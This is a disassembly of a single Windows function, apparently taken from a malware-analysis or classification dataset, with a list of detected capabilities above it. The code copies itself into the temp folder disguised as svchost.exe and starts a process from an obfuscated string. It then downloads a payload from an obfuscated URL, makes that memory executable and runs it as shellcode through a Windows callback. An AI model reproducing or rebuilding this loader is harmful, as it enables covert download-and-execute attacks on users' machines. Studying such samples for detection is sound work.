Function at 0x140001697
Capabilities:
Allocate or change rwx memory
Copy file
Create http request
Create process on windows
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Read data from internet
Receive data

Disassembly:
push rbp
sub rsp, 0x890
lea rbp, [rsp + 0x80]
call fcn.140001bb0
movabs rax, 0x7364767f3b2d3123
movabs rdx, 0x656971656172656f
mov qword [rbp + 0x7c0], rax
mov qword [rbp + 0x7c8], rdx
movabs rax, 0x76757b697d716973
movabs rdx, 0x2c373565363224
mov qword [rbp + 0x7d0], rax
mov qword [rbp + 0x7d8], rdx
movabs rax, 0x36202a243f312638
movabs rdx, 0x2e2d242e2b266479
mov qword [rbp + 0x780], rax
mov qword [rbp + 0x788], rdx
movabs rax, 0x2b2069792b3f7665
movabs rdx, 0x65392d6a6b7b6826
mov qword [rbp + 0x790], rax
mov qword [rbp + 0x798], rdx
movabs rax, 0x282a6a6b7b366e7b
movabs rdx, 0x79203f2c2b223465
mov qword [rbp + 0x7a0], rax
mov qword [rbp + 0x7a8], rdx
movabs rax, 0x6479203f2c2b2234
movabs rdx, 0x236479746b3628
mov qword [rbp + 0x7a9], rax
mov qword [rbp + 0x7b1], rdx
lea rax, [rbp + 0x670]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x560]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rax, [rbp + 0x560]
mov rcx, rax
call sub.msvcrt.dll_strlen
mov rdx, rax
lea rax, [rbp + 0x560]
add rax, rdx
movabs rcx, 0x2e74736f68766373
mov qword [rax], rcx
mov dword [rax + 8], 0x657865
lea rdx, [rbp + 0x560]
lea rax, [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x14000193b
lea rdx, [rbp + 0x560]
lea rax, [rbp + 0x670]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x30], 0x68
lea rax, [rbp + 0x140]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.1400015d7
mov rdx, rax
lea rcx, [rbp + 0x560]
lea rax, [rbp + 0x40]
mov r8, rcx
mov rcx, rax
call fcn.140001594
lea rax, [rbp + 0x40]
lea rdx, [rbp + 0x140]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x1400018fd
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateProcess_failed___d_._n
mov rcx, rax
call fcn.140001540
mov eax, 1
jmp 0x140001ace
mov rax, qword [rbp + 0x140]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x148]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov qword [rbp + 0x808], 0
mov dword [rbp + 0x804], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.WebReader
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x7f8], rax
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.1400015d7
mov rdx, rax
mov rax, qword [rbp + 0x7f8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x7f0], rax
jmp 0x140001a34
mov edx, dword [rbp + 0x804]
mov eax, dword [rbp + 0x15c]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x808]
mov rcx, rax
call sub.msvcrt.dll_realloc
mov qword [rbp + 0x808], rax
mov eax, dword [rbp + 0x15c]
mov r8d, eax
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
mov rax, qword [rbp + 0x808]
lea rcx, [rdx + rax]
lea rax, [rbp + 0x160]
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x804]
mov eax, dword [rbp + 0x15c]
add eax, edx
mov dword [rbp + 0x804], eax
lea rcx, [rbp + 0x15c]
lea rdx, [rbp + 0x160]
mov rax, qword [rbp + 0x7f0]
mov r9, rcx
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x140001a70
mov eax, dword [rbp + 0x15c]
test eax, eax
jne 0x1400019ce
mov dword [rbp + 0x158], 0
mov eax, dword [rbp + 0x804]
movsxd rdx, eax
lea rcx, [rbp + 0x158]
mov rax, qword [rbp + 0x808]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x7ec], eax
mov rax, qword [rbp + 0x808]
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_EnumSystemGeoID]
call rax
mov eax, 0
add rsp, 0x890
pop rbp
ret